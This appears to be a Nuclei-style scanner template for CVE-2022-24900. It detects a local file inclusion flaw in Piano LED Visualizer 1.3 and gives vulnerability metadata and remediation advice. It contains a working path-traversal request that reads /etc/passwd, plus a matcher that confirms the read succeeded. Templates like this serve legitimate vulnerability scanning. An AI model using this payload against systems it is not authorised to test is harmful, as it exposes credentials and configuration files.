id: CVE-2022-24900

info:
  name: Piano LED Visualizer 1.3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.
  reference:
    - https://github.com/onlaj/Piano-LED-Visualizer/issues/350
    - https://vuldb.com/?id.198714
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24900
    - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-24900
    cwe-id: CWE-668,CWE-22
    epss-score: 0.00999
    epss-percentile: 0.83586
    cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: piano_led_visualizer_project
    product: piano_led_visualizer
  tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b834af3e8959ad75d04705f93f2537c2e8fd4cc794d1e7c42c5d1d9cd952d040022100e44ebcf1d0b6ae5dc4c6f2420ec8c889c253d1b57f618dff934354e7ce85ead6:922c64590222798bb761d5b6d8e72950